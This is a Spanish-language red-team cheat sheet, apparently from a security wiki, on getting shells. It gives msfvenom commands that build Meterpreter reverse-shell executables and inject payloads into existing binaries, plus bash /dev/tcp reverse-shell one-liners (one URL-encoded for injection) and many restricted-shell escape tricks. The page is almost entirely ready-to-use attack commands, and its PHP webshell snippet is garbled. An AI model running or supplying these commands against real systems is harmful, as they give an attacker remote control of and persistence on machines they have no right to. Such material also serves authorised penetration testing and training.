> For the complete documentation index, see [llms.txt](https://wiki.securiters.com/securiters-wiki/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://wiki.securiters.com/securiters-wiki/redteam/shells.md).
# Shells
## 1. Webshells
En Kali está la ruta
```
/usr/share/webshells
```
PHP
{% code overflow="wrap" %}
```
# Ejecuta un comando
# shell.php?cmd=whoami
# Igual con passthru
# Para que shell_exec muestre el resultado hay que usar echo
# preg_replace().
# Usando backticks
$output"; ?>
```
{% endcode %}
## 2. Generación de shells
Msfvenom
1. Windows
{% code overflow="wrap" %}
```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=PORT -f exe -o shell_reverse.exe
```
{% endcode %}
```
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
```
Inyectar el payload en un binario
{% code overflow="wrap" %}
```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=PORT -f exe -e x86/shikata_ga_nai -i 9 -x "/binario.exe" -o binariOutput.exe
```
{% endcode %}
2. Linux
{% code overflow="wrap" %}
```
0<&196;exec 196<>/dev/tcp/IP/PORT; sh <&196 >&196 2>&196
```
{% endcode %}
```
bash -i >& /dev/tcp/IP/PORT 0>&1
#encoded
bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2FIP%2FPORT%200%3E%261%22
```
## 3. Shells interactivas
**Python**
```
python -c 'import pty; pty.spawn("/bin/sh")'
python -c "import pty;pty.spawn('/bin/bash')"
python -c 'import os; os.system("/bin/bash")'
```
**Echo**
```
echo 'os.system('/bin/bash')'
```
**sh**
```
/bin/sh -i
```
**bash**
```
/bin/bash -i
```
**Perl**
```
perl -e 'exec "/bin/sh";'
```
**Desde FTP**
```
!/bin/bash
```
**Desde VI**
```
:!bash
:set shell=/bin/bash
:sh
```
## 4. Evasión de shells restrictivas
SSH
```
ssh username@IP -t "/bin/sh"
ssh username@IP -t "bash --noprofile"
```
```unknown
echo /usr/bin/*
$(whoami)
${whoami}
```
Editores de texto
```
:!/bin/sh
:shell
:set shell=/bin/sh
```
Python
```
import os; os.system("/bin/sh")
```
PHP
```
exec("sh -i");
php -r "system('/bin/bash');"
hp -a then exec("sh -i");
```
Miscellaneous
```
awk 'BEGIN {system("/bin/sh")}'
find / -name foobar -exec /bin/sh \;
echo "bash -i" | tee script.sh
```
## Referencias
*
*
*
## Recursos:
*
*